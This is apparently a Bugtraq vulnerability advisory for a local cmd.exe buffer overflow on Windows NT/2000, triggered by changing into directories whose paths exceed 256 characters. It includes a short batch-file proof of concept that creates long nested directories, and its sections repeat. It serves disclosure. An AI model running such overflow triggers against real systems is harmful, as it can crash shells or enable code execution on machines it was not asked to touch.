Microsoft Windows NT/2000 cmd.exe CD Buffer Overflow Vulnerability
BID:6829
Info
Microsoft Windows NT/2000 cmd.exe CD Buffer Overflow Vulnerability
| Bugtraq ID: | 6829 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Feb 11 2003 12:00AM |
| Updated: | Feb 11 2003 12:00AM |
| Credit: | Discovery is credited to 3APA3A <[email protected]>. |
| Vulnerable: |
Microsoft Windows NT Workstation 4.0 SP6a Microsoft Windows NT Workstation 4.0 SP6 Microsoft Windows NT Workstation 4.0 SP5 Microsoft Windows NT Workstation 4.0 SP4 Microsoft Windows NT Workstation 4.0 SP3 Microsoft Windows NT Workstation 4.0 SP2 Microsoft Windows NT Workstation 4.0 SP1 Microsoft Windows NT Workstation 4.0 Microsoft Windows NT Terminal Server 4.0 SP6 Microsoft Windows NT Terminal Server 4.0 SP5 Microsoft Windows NT Terminal Server 4.0 SP4 Microsoft Windows NT Terminal Server 4.0 SP3 Microsoft Windows NT Terminal Server 4.0 SP2 Microsoft Windows NT Terminal Server 4.0 SP1 Microsoft Windows NT Terminal Server 4.0 Microsoft Windows NT Server 4.0 SP6a Microsoft Windows NT Server 4.0 SP6 Microsoft Windows NT Server 4.0 SP5 Microsoft Windows NT Server 4.0 SP4 Microsoft Windows NT Server 4.0 SP3 Microsoft Windows NT Server 4.0 SP2 Microsoft Windows NT Server 4.0 SP1 Microsoft Windows NT Server 4.0 Microsoft Windows NT Enterprise Server 4.0 SP6a Microsoft Windows NT Enterprise Server 4.0 SP6 Microsoft Windows NT Enterprise Server 4.0 SP5 Microsoft Windows NT Enterprise Server 4.0 SP4 Microsoft Windows NT Enterprise Server 4.0 SP3 Microsoft Windows NT Enterprise Server 4.0 SP2 Microsoft Windows NT Enterprise Server 4.0 SP1 Microsoft Windows NT Enterprise Server 4.0 Microsoft Windows 2000 Server SP3 Microsoft Windows 2000 Server SP2 Microsoft Windows 2000 Server SP1 Microsoft Windows 2000 Server Microsoft Windows 2000 Professional SP3 Microsoft Windows 2000 Professional SP2 Microsoft Windows 2000 Professional SP1 Microsoft Windows 2000 Professional Microsoft Windows 2000 Datacenter Server SP3 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server |
| Not Vulnerable: | |
Discussion
Microsoft Windows NT/2000 cmd.exe CD Buffer Overflow Vulnerability
The Windows NT and 2000 command prompt (cmd.exe) does not properly handle paths containing more than 256 characters. If the cd (change directory) command is used to change to a subdirectory resulting in a path with more than 256 characters, a buffer is overrun. This could lead to cmd.exe failing with the possibility of code execution on Windows NT 4.0 systems. Automated scripts that traverse and preform operations on arbitrary directories are particularly vulnerable.
On Windows 2000 systems, cmd.exe will become 'jailed' in the directory.
The Windows NT and 2000 command prompt (cmd.exe) does not properly handle paths containing more than 256 characters. If the cd (change directory) command is used to change to a subdirectory resulting in a path with more than 256 characters, a buffer is overrun. This could lead to cmd.exe failing with the possibility of code execution on Windows NT 4.0 systems. Automated scripts that traverse and preform operations on arbitrary directories are particularly vulnerable.
On Windows 2000 systems, cmd.exe will become 'jailed' in the directory.
Exploit / POC
Microsoft Windows NT/2000 cmd.exe CD Buffer Overflow Vulnerability
The following proof of concept was provided:
@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..
The following proof of concept was provided:
@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..
Solution / Fix
Microsoft Windows NT/2000 cmd.exe CD Buffer Overflow Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.